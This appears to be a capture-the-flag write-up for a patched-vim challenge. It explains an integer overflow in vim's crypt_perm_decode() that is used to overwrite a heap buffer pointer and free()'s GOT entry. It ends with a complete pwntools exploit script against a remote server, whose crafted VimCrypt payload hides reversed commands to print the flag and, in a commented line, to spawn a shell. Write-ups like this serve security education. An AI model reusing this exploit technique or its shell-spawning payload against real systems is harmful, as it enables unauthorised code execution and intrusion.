The challenge is to exploit the patched vim. perm.diff implies that vim’s new encrypt/decrypt method is added in the patched version. In service.py, server seems to open a randomly named file with the vim and the content of the file can be filled with attacker’s input. Also we found out that if the file starts with the string ‘VimCrypt04~!’, vim expects the file as encrypted and decrypts it. Therefore we tried to find a weakness in the function ‘
crypt_perm_decode()’. At ‘Step 1: Inverse of Multiplication’, We found something.
ps->cur_idx = (ps->cur_idx+ps->step)%ps->size;
ps->step are both int type, we could make an integer overflow. Also as we debug the vim when it performs the function, we found that ‘ps’ chunk is little bit ahead of ‘to’ chunk when the size of content in the file is 0x101 without the string ‘VimCrypt04~!’. We could make
0xffffffff by assigning iv as
ps->cur_idx got minus value so we could overwrite the buffer pointer of the ps chunk as the address of the function
free()’s got. At the end of the function, it calls the function
vim_free() and in this function, the function
free() is called with one argument and it would be the buffer pointer. We used a code gadget below.
vim_free(), the argument passed through rax and rdi so we can make rax value at our will. To write values where the buffer pointer points, we should write them on the string ‘to’ by the below code.
We’ve done this by overwrite
ps->cur_idx after overwriting
ps->buffer so that the variable now has a positive value. After adjusting some values in order to overwrite correct values in correct address, we could not see the flag. It seems that server give us not the all output but stderr. Therefore we made a trick to check the flag as stderr. The final exploit code and the result is below here.
#!/usr/bin/python from pwn import * import sys,os import random, string from hashlib import sha256 s = remote("18.104.22.168",10001) # proof_of_work s.recvuntil("XXXX+") sub = s.recvn(16) s.recvuntil('== ') res = s.recvn(64) s.recvuntil(":") while(1): pro = ''.join([random.choice(string.ascii_letters+string.digits) for _ in xrange(4)]) digest = sha256(pro+sub).hexdigest() if digest == res: print "success" print pro s.sendline(pro) print s.recvuntil('\n') break s.sendline('269') st = 'VimCrypt~04!' iv = '\xff\xff\xff\x9e' c_i = 'c\x01' c = '\x01' * 11 c += '\x00\x00\x01\x11' c += '\x00' * 4 c += '\x00\x00\x00\x00\x00\x8a\x81\xfc' c += '\xff\xff\xff\xff' c_2 = c * 3 c_3 = '\x01' * 11 c_3 += '\x00\x00\x01\x11' c_3 += '\x00' * 4 c_3 += '\x00\x00\x00\x00\x00\x8a\x82\x2a' c_3 += '\x60' c_4 = '\x00'* 109 c_4 += '\x00\x00\x00\x00\x00\x4c\x91\x5d' c_4 += "\x002&>1 galf ta" ##c_4 += "\x002&>1 - 'hs/nib/!:' c- miv/onivlac/emoh/ | 'a' ohc" # using this code will give you the shell! s.send(st+iv+c_i+c_2+c_3+c_4) s.interactive() s.close()
'CTFs' 카테고리의 다른 글
|[CONFidence CTF 2019 Teaser] Oldschool writeup (0)||2019.03.20|
|[CONFidence CTF 2019 Teaser] Pudliszki writeup (0)||2019.03.19|
|[CONFidence CTF 2019 Teaser] Bro, do you even lift? writeup (0)||2019.03.19|
|[CONFidence CTF 2019 Teaser] Count me in! writeup (0)||2019.03.19|
|[HumanCTF] More than privacy writeup (0)||2018.10.13|